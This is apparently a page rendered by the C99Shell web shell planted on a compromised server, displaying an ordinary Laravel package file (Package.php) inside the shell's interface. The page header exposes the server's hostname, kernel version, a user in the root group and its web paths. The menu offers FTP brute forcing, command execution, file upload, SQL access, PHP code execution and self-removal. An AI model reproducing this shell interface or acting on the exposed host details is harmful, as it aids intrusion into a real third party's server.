!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/classify.picotech.app/public_html/vendor/spatie/laravel-package-tools/src/   drwxr-xr-x
Free 28.89 GB of 117.98 GB (24.49%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Package.php (5.28 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\LaravelPackageTools;

use 
Illuminate\Support\Str;
use 
Spatie\LaravelPackageTools\Commands\InstallCommand;

class 
Package
{
    public 
string $name;

    public array 
$configFileNames = [];

    public 
bool $hasViews false;

    public 
bool $hasInertiaComponents false;

    public ?
string $viewNamespace null;

    public 
bool $hasTranslations false;

    public 
bool $hasAssets false;

    public 
bool $runsMigrations false;

    public array 
$migrationFileNames = [];

    public array 
$routeFileNames = [];

    public array 
$commands = [];

    public array 
$consoleCommands = [];

    public array 
$viewComponents = [];

    public array 
$sharedViewData = [];

    public array 
$viewComposers = [];

    public 
string $basePath;

    public ?
string $publishableProviderName null;

    public function 
name(string $name): static
    {
        
$this->name $name;

        return 
$this;
    }

    public function 
hasConfigFile($configFileName null): static
    {
        
$configFileName ??= $this->shortName();

        if (! 
is_array($configFileName)) {
            
$configFileName = [$configFileName];
        }

        
$this->configFileNames $configFileName;

        return 
$this;
    }

    public function 
publishesServiceProvider(string $providerName): static
    {
        
$this->publishableProviderName $providerName;

        return 
$this;
    }

    public function 
hasInstallCommand($callable): static
    {
        
$installCommand = new InstallCommand($this);

        
$callable($installCommand);

        
$this->consoleCommands[] = $installCommand;

        return 
$this;
    }

    public function 
shortName(): string
    
{
        return 
Str::after($this->name'laravel-');
    }

    public function 
hasViews(string $namespace null): static
    {
        
$this->hasViews true;

        
$this->viewNamespace $namespace;

        return 
$this;
    }

    public function 
hasInertiaComponents(string $namespace null): static
    {
        
$this->hasInertiaComponents true;

        
$this->viewNamespace $namespace;

        return 
$this;
    }

    public function 
hasViewComponent(string $prefixstring $viewComponentName): static
    {
        
$this->viewComponents[$viewComponentName] = $prefix;

        return 
$this;
    }

    public function 
hasViewComponents(string $prefix,  ...$viewComponentNames): static
    {
        foreach (
$viewComponentNames as $componentName) {
            
$this->viewComponents[$componentName] = $prefix;
        }

        return 
$this;
    }

    public function 
sharesDataWithAllViews(string $name$value): static
    {
        
$this->sharedViewData[$name] = $value;

        return 
$this;
    }

    public function 
hasViewComposer($view$viewComposer): static
    {
        if (! 
is_array($view)) {
            
$view = [$view];
        }

        foreach (
$view as $viewName) {
            
$this->viewComposers[$viewName] = $viewComposer;
        }

        return 
$this;
    }

    public function 
hasTranslations(): static
    {
        
$this->hasTranslations true;

        return 
$this;
    }

    public function 
hasAssets(): static
    {
        
$this->hasAssets true;

        return 
$this;
    }

    public function 
runsMigrations(bool $runsMigrations true): static
    {
        
$this->runsMigrations $runsMigrations;

        return 
$this;
    }

    public function 
hasMigration(string $migrationFileName): static
    {
        
$this->migrationFileNames[] = $migrationFileName;

        return 
$this;
    }

    public function 
hasMigrations(...$migrationFileNames): static
    {
        
$this->migrationFileNames array_merge(
            
$this->migrationFileNames,
            
collect($migrationFileNames)->flatten()->toArray()
        );

        return 
$this;
    }

    public function 
hasCommand(string $commandClassName): static
    {
        
$this->commands[] = $commandClassName;

        return 
$this;
    }

    public function 
hasCommands(...$commandClassNames): static
    {
        
$this->commands array_merge($this->commandscollect($commandClassNames)->flatten()->toArray());

        return 
$this;
    }

    public function 
hasConsoleCommand(string $commandClassName): static
    {
        
$this->consoleCommands[] = $commandClassName;

        return 
$this;
    }

    public function 
hasConsoleCommands(...$commandClassNames): static
    {
        
$this->consoleCommands array_merge($this->consoleCommandscollect($commandClassNames)->flatten()->toArray());

        return 
$this;
    }

    public function 
hasRoute(string $routeFileName): static
    {
        
$this->routeFileNames[] = $routeFileName;

        return 
$this;
    }

    public function 
hasRoutes(...$routeFileNames): static
    {
        
$this->routeFileNames array_merge($this->routeFileNamescollect($routeFileNames)->flatten()->toArray());

        return 
$this;
    }

    public function 
basePath(string $directory null): string
    
{
        if (
$directory === null) {
            return 
$this->basePath;
        }

        return 
$this->basePath DIRECTORY_SEPARATOR ltrim($directoryDIRECTORY_SEPARATOR);
    }

    public function 
viewNamespace(): string
    
{
        return 
$this->viewNamespace ?? $this->shortName();
    }

    public function 
setBasePath(string $path): static
    {
        
$this->basePath $path;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0337 ]--